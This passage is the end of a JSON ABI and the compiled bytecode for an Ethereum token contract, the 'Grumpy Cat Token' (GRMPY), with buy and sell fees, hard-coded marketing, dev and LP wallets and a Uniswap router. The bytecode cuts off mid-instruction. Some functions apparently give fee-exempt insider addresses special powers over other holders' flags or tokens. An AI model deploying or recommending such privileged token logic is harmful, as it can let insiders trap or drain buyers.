IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLPWallet","type":"address"}],"name":"updateLPWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526001600860006101000a81548160ff0219169083151502179055506000600860016101000a81548160ff0219169083151502179055506000600860026101000a81548160ff0219169083151502179055506000601e60006101000a81548160ff0219169083151502179055503480156200007d57600080fd5b506040518060400160405280601081526020017f4772756d70792043617420546f6b656e000000000000000000000000000000008152506040518060400160405280600581526020017f47524d50590000000000000000000000000000000000000000000000000000008152508160039081620000fb919062000fc7565b5080600490816200010d919062000fc7565b50505062000130620001246200080e60201b60201c565b6200081660201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200015c816001620008dc60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000202919062001118565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000290919062001118565b6040518363ffffffff1660e01b8152600401620002af9291906200115b565b6020604051808303816000875af1158015620002cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f5919062001118565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200033d60a0516001620008dc60201b60201c565b6200035260a0516001620009c660201b60201c565b60006001905060006001905060006001905060006001905060006001905060006001905060006b019d971e4fe8401e7400000090506064600182620003989190620011b7565b620003a4919062001231565b6017819055506064600182620003bb9190620011b7565b620003c7919062001231565b601981905550612710600382620003df9190620011b7565b620003eb919062001231565b60188190555083600a8190555082600b8190555081600c81905550600c54600b54600a546200041b919062001269565b62000427919062001269565b60098190555086600e8190555085600f8190555084601081905550601054600f54600e5462000457919062001269565b62000463919062001269565b600d8190555073ca1c2f8a0dd930962ada93bfaf9f7c99321f585b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507355287d5b2b814dceaccbe01bb3fd7ea4f86e6fea601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732b9cfa5d6163547a3351a7268b00f36a45affd8e601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200059d601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620008dc60201b60201c565b620005d2601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620008dc60201b60201c565b62000607601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620008dc60201b60201c565b620006296200061b62000a6760201b60201c565b6001620008dc60201b60201c565b6200063c306001620008dc60201b60201c565b6200065161dead6001620008dc60201b60201c565b62000686601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600162000a9160201b60201c565b620006bb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600162000a9160201b60201c565b620006f0601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600162000a9160201b60201c565b620007126200070462000a6760201b60201c565b600162000a9160201b60201c565b6200072530600162000a9160201b60201c565b6200073a61dead600162000a9160201b60201c565b6001601c600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601c600060a05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000800338262000bcb60201b60201c565b505050505050505062001401565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620008ec6200080e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200091262000a6760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200096b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009629062001305565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000aa16200080e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000ac762000a6760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000b20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b179062001305565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000bbf919062001344565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000c3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c3490620013b1565b60405180910390fd5b62000c516000838362000d4360201b60201c565b806002600082825462000c65919062001269565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000cbc919062001269565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000d239190620013e4565b60405180910390a362000d3f6000838362000d4860201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000dcf57607f821691505b60208210810362000de55762000de462000d87565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e4f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000e10565b62000e5b868362000e10565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ea862000ea262000e9c8462000e73565b62000e7d565b62000e73565b9050919050565b6000819050919050565b62000ec48362000e87565b62000edc62000ed38262000eaf565b84845462000e1d565b825550505050565b600090565b62000ef362000ee4565b62000f0081848462000eb9565b505050565b5b8181101562000f285762000f1c60008262000ee9565b60018101905062000f06565b5050565b601f82111562000f775762000f418162000deb565b62000f4c8462000e00565b8101602085101562000f5c578190505b62000f7462000f6b8562000e00565b83018262000f05565b50505b505050565b600082821c905092915050565b600062000f9c6000198460080262000f7c565b1980831691505092915050565b600062000fb7838362000f89565b9150826002028217905092915050565b62000fd28262000d4d565b67ffffffffffffffff81111562000fee5762000fed62000d58565b5b62000ffa825462000db6565b6200100782828562000f2c565b600060209050601f8311600181146200103f57600084156200102a578287015190505b62001036858262000fa9565b865550620010a6565b601f1984166200104f8662000deb565b60005b82811015620010795784890151825560018201915060208501945060208101905062001052565b8683101562001099578489015162001095601f89168262000f89565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620010e082620010b3565b9050919050565b620010f281620010d3565b8114620010fe57600080fd5b50565b6000815190506200111281620010e7565b92915050565b600060208284031215620011315762001130620010ae565b5b6000620011418482850162001101565b91505092915050565b6200115581620010d3565b82525050565b60006040820190506200117260008301856200114a565b6200118160208301846200114a565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620011c48262000e73565b9150620011d18362000e73565b9250828202620011e18162000e73565b91508282048414831517620011fb57620011fa62001188565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200123e8262000e73565b91506200124b8362000e73565b9250826200125e576200125d62001202565b5b828204905092915050565b6000620012768262000e73565b9150620012838362000e73565b92508282019050808211156200129e576200129d62001188565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620012ed602083620012a4565b9150620012fa82620012b5565b602082019050919050565b600060208201905081810360008301526200132081620012de565b9050919050565b60008115159050919050565b6200133e8162001327565b82525050565b60006020820190506200135b600083018462001333565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001399601f83620012a4565b9150620013a68262001361565b602082019050919050565b60006020820190508181036000830152620013cc816200138a565b9050919050565b620013de8162000e73565b82525050565b6000602082019050620013fb6000830184620013d3565b92915050565b60805160a051615585620014666000396000818161158101528181611be40152612f55015260008181610e6f015281816110ba015281816111e601528181613e1b01528181613efc01528181613f2301528181613fbf0152613fe601526155856000f3fe60806040526004361061036f5760003560e01c806392136913116101c6578063c0246668116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b14610cf5578063f637434214610d1e578063f8b45b0514610d49578063fbc10c5514610d7457610376565b8063dd62ed3e14610c62578063e2f4560514610c9f578063f11a24d314610cca57610376565b8063c8c8ebe4116100d1578063c8c8ebe414610b92578063cd5f101d14610bbd578063d257b34f14610bfa578063d85ba06314610c3757610376565b8063c024666814610b17578063c17b5b8c14610b40578063c18bc19514610b6957610376565b8063a07873f211610164578063a9059cbb1161013e578063a9059cbb14610a49578063aacebbe314610a86578063b62496f514610aaf578063bbc0c74214610aec57610376565b8063a07873f2146109b6578063a0d82dc5146109e1578063a457c2d714610a0c57610376565b80639a7a23d6116101a05780639a7a23d61461090e5780639c3b4fdc146109375780639fccce3214610962578063a0112f821461098d57610376565b8063921369131461088f578063924de9b7146108ba57806395d89b41146108e357610376565b806339509351116102a0578063715018a61161023e5780637bce5a04116102185780637bce5a04146107f95780638095d564146108245780638a8c523c1461084d5780638da5cb5b1461086457610376565b8063715018a61461078e578063751039fc146107a55780637571336a146107d057610376565b80634fbee1931161027a5780634fbee193146106be5780636a486a8e146106fb5780636ddd17131461072657806370a082311461075157610376565b8063395093511461062b57806349bd5a5e146106685780634a62bb651461069357610376565b80631a8145bb1161030d57806323b872dd116102e757806323b872dd1461055b57806327c8f835146105985780632eae5715146105c3578063313ce5671461060057610376565b80631a8145bb146104dc5780631f3fed8f14610507578063203e727e1461053257610376565b80631694505e116103495780631694505e1461042057806318160ddd1461044b5780631816467f1461047657806319beb1701461049f57610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9d565b60405161039d9190614145565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190614200565b610e2f565b6040516103da919061425b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190614276565b610e4d565b604051610417919061425b565b60405180910390f35b34801561042c57600080fd5b50610435610e6d565b6040516104429190614302565b60405180910390f35b34801561045757600080fd5b50610460610e91565b60405161046d919061432c565b60405180910390f35b34801561048257600080fd5b5061049d60048036038101906104989190614276565b610e9b565b005b3480156104ab57600080fd5b506104c660048036038101906104c19190614347565b610fd7565b6040516104d3919061425b565b60405180910390f35b3480156104e857600080fd5b506104f1611286565b6040516104fe919061432c565b60405180910390f35b34801561051357600080fd5b5061051c61128c565b604051610529919061432c565b60405180910390f35b34801561053e57600080fd5b506105596004803603810190610554919061439a565b611292565b005b34801561056757600080fd5b50610582600480360381019061057d9190614347565b6113a1565b60405161058f919061425b565b60405180910390f35b3480156105a457600080fd5b506105ad611499565b6040516105ba91906143d6565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e59190614200565b61149f565b6040516105f7919061425b565b60405180910390f35b34801561060c57600080fd5b506106156114ca565b604051610622919061440d565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d9190614200565b6114d3565b60405161065f919061425b565b60405180910390f35b34801561067457600080fd5b5061067d61157f565b60405161068a91906143d6565b60405180910390f35b34801561069f57600080fd5b506106a86115a3565b6040516106b5919061425b565b60405180910390f35b3480156106ca57600080fd5b506106e560048036038101906106e09190614276565b6115b6565b6040516106f2919061425b565b60405180910390f35b34801561070757600080fd5b5061071061160c565b60405161071d919061432c565b60405180910390f35b34801561073257600080fd5b5061073b611612565b604051610748919061425b565b60405180910390f35b34801561075d57600080fd5b5061077860048036038101906107739190614276565b611625565b604051610785919061432c565b60405180910390f35b34801561079a57600080fd5b506107a361166d565b005b3480156107b157600080fd5b506107ba6116f5565b6040516107c7919061425b565b60405180910390f35b3480156107dc57600080fd5b506107f760048036038101906107f29190614454565b6117c1565b005b34801561080557600080fd5b5061080e611898565b60405161081b919061432c565b60405180910390f35b34801561083057600080fd5b5061084b60048036038101906108469190614494565b61189e565b005b34801561085957600080fd5b50610862611957565b005b34801561087057600080fd5b50610879611a0b565b60405161088691906143d6565b60405180910390f35b34801561089b57600080fd5b506108a4611a35565b6040516108b1919061432c565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc91906144e7565b611a3b565b005b3480156108ef57600080fd5b506108f8611ad4565b6040516109059190614145565b60405180910390f35b34801561091a57600080fd5b5061093560048036038101906109309190614454565b611b66565b005b34801561094357600080fd5b5061094c611c7e565b604051610959919061432c565b60405180910390f35b34801561096e57600080fd5b50610977611c84565b604051610984919061432c565b60405180910390f35b34801561099957600080fd5b506109b460048036038101906109af9190614454565b611c8a565b005b3480156109c257600080fd5b506109cb611d38565b6040516109d891906143d6565b60405180910390f35b3480156109ed57600080fd5b506109f6611d5e565b604051610a03919061432c565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e9190614200565b611d64565b604051610a40919061425b565b60405180910390f35b348015610a5557600080fd5b50610a706004803603810190610a6b9190614200565b611e4f565b604051610a7d919061425b565b60405180910390f35b348015610a9257600080fd5b50610aad6004803603810190610aa89190614276565b611e6d565b005b348015610abb57600080fd5b50610ad66004803603810190610ad19190614276565b611f87565b604051610ae3919061425b565b60405180910390f35b348015610af857600080fd5b50610b01611fa7565b604051610b0e919061425b565b60405180910390f35b348015610b2357600080fd5b50610b3e6004803603810190610b399190614454565b611fba565b005b348015610b4c57600080fd5b50610b676004803603810190610b629190614494565b6120df565b005b348015610b7557600080fd5b50610b906004803603810190610b8b919061439a565b612198565b005b348015610b9e57600080fd5b50610ba76122a7565b604051610bb4919061432c565b60405180910390f35b348015610bc957600080fd5b50610be46004803603810190610bdf9190614276565b6122ad565b604051610bf1919061432c565b60405180910390f35b348015610c0657600080fd5b50610c216004803603810190610c1c919061439a565b6122c5565b604051610c2e919061425b565b60405180910390f35b348015610c4357600080fd5b50610c4c61241a565b604051610c59919061432c565b60405180910390f35b348015610c6e57600080fd5b50610c896004803603810190610c849190614514565b612420565b604051610c96919061432c565b60405180910390f35b348015610cab57600080fd5b50610cb46124a7565b604051610cc1919061432c565b60405180910390f35b348015610cd657600080fd5b50610cdf6124ad565b604051610cec919061432c565b60405180910390f35b348015610d0157600080fd5b50610d1c6004803603810190610d179190614276565b6124b3565b005b348015610d2a57600080fd5b50610d336125aa565b604051610d40919061432c565b60405180910390f35b348015610d5557600080fd5b50610d5e6125b0565b604051610d6b919061432c565b60405180910390f35b348015610d8057600080fd5b50610d9b6004803603810190610d969190614276565b6125b6565b005b606060038054610dac90614583565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd890614583565b8015610e255780601f10610dfa57610100808354040283529160200191610e25565b820191906000526020600020905b815481529060010190602001808311610e0857829003601f168201915b5050505050905090565b6000610e43610e3c6126f2565b84846126fa565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610ea36126f2565b73ffffffffffffffffffffffffffffffffffffffff16610ec1611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614610f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0e90614600565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561106a57611037838585856128c3565b601e60009054906101000a900460ff1615601e60006101000a81548160ff0219169083151502179055506001905061127f565b6000600267ffffffffffffffff81111561108757611086614620565b5b6040519080825280602002602001820160405280156110b55781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611123573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111479190614664565b8160008151811061115b5761115a614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111aa576111a9614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008461dead426040518663ffffffff1660e01b815260040161124794939291906147b9565b6000604051808303818588803b15801561126057600080fd5b505af1158015611274573d6000803e3d6000fd5b505050505050600190505b9392505050565b60125481565b60115481565b61129a6126f2565b73ffffffffffffffffffffffffffffffffffffffff166112b8611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590614600565b60405180910390fd5b670de0b6b3a76400006103e86001611324610e91565b61132e9190614834565b61133891906148a5565b61134291906148a5565b811015611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90614948565b60405180910390fd5b670de0b6b3a7640000816113989190614834565b60178190555050565b60006113ae84848461294a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113f96126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611479576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611470906149da565b60405180910390fd5b61148d856114856126f2565b8584036126fa565b60019150509392505050565b61dead81565b60006114c08330846114b18730612420565b6114bb91906149fa565b6126fa565b6001905092915050565b60006012905090565b60006115756114e06126f2565b8484600160006114ee6126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157091906149fa565b6126fa565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600860009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b600860029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116756126f2565b73ffffffffffffffffffffffffffffffffffffffff16611693611a0b565b73ffffffffffffffffffffffffffffffffffffffff16146116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614600565b60405180910390fd5b6116f3600061364f565b565b60006116ff6126f2565b73ffffffffffffffffffffffffffffffffffffffff1661171d611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90614600565b60405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef60405160405180910390a16001905090565b6117c96126f2565b73ffffffffffffffffffffffffffffffffffffffff166117e7611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183490614600565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b6118a66126f2565b73ffffffffffffffffffffffffffffffffffffffff166118c4611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190614600565b60405180910390fd5b82600a8190555081600b8190555080600c81905550600c54600b54600a5461194291906149fa565b61194c91906149fa565b600981905550505050565b61195f6126f2565b73ffffffffffffffffffffffffffffffffffffffff1661197d611a0b565b73ffffffffffffffffffffffffffffffffffffffff16146119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614600565b60405180910390fd5b6001600860016101000a81548160ff0219169083151502179055506001600860026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b611a436126f2565b73ffffffffffffffffffffffffffffffffffffffff16611a61611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614600565b60405180910390fd5b80600860026101000a81548160ff02191690831515021790555050565b606060048054611ae390614583565b80601f0160208091040260200160405190810160405280929190818152602001828054611b0f90614583565b8015611b5c5780601f10611b3157610100808354040283529160200191611b5c565b820191906000526020600020905b815481529060010190602001808311611b3f57829003601f168201915b5050505050905090565b611b6e6126f2565b73ffffffffffffffffffffffffffffffffffffffff16611b8c611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990614600565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6790614aa0565b60405180910390fd5b611c7a8282613715565b5050565b600c5481565b60135481565b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d345780601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60008060016000611d736126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2790614b32565b60405180910390fd5b611e44611e3b6126f2565b858584036126fa565b600191505092915050565b6000611e63611e5c6126f2565b848461294a565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ec757600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d6020528060005260406000206000915054906101000a900460ff1681565b600860019054906101000a900460ff1681565b611fc26126f2565b73ffffffffffffffffffffffffffffffffffffffff16611fe0611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614600565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120d3919061425b565b60405180910390a25050565b6120e76126f2565b73ffffffffffffffffffffffffffffffffffffffff16612105611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290614600565b60405180910390fd5b82600e8190555081600f8190555080601081905550601054600f54600e5461218391906149fa565b61218d91906149fa565b600d81905550505050565b6121a06126f2565b73ffffffffffffffffffffffffffffffffffffffff166121be611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220b90614600565b60405180910390fd5b670de0b6b3a76400006103e8600561222a610e91565b6122349190614834565b61223e91906148a5565b61224891906148a5565b81101561228a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228190614bc4565b60405180910390fd5b670de0b6b3a76400008161229e9190614834565b60198190555050565b60175481565b60076020528060005260406000206000915090505481565b60006122cf6126f2565b73ffffffffffffffffffffffffffffffffffffffff166122ed611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a90614600565b60405180910390fd5b620186a06001612351610e91565b61235b9190614834565b61236591906148a5565b8210156123a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239e90614c56565b60405180910390fd5b6103e860056123b4610e91565b6123be9190614834565b6123c891906148a5565b82111561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614ce8565b60405180910390fd5b8160188190555060019050919050565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b600b5481565b6124bb6126f2565b73ffffffffffffffffffffffffffffffffffffffff166124d9611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461252f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252690614600565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361259e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259590614d7a565b60405180910390fd5b6125a78161364f565b50565b600f5481565b60195481565b6125be6126f2565b73ffffffffffffffffffffffffffffffffffffffff166125dc611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262990614600565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8e4fb3162b55d3fcdb7507ecfed5ab4ea5d2bd7494d0bb621d698a52ea3f74b460405160405180910390a380601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276090614e0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cf90614e9e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173fffffffff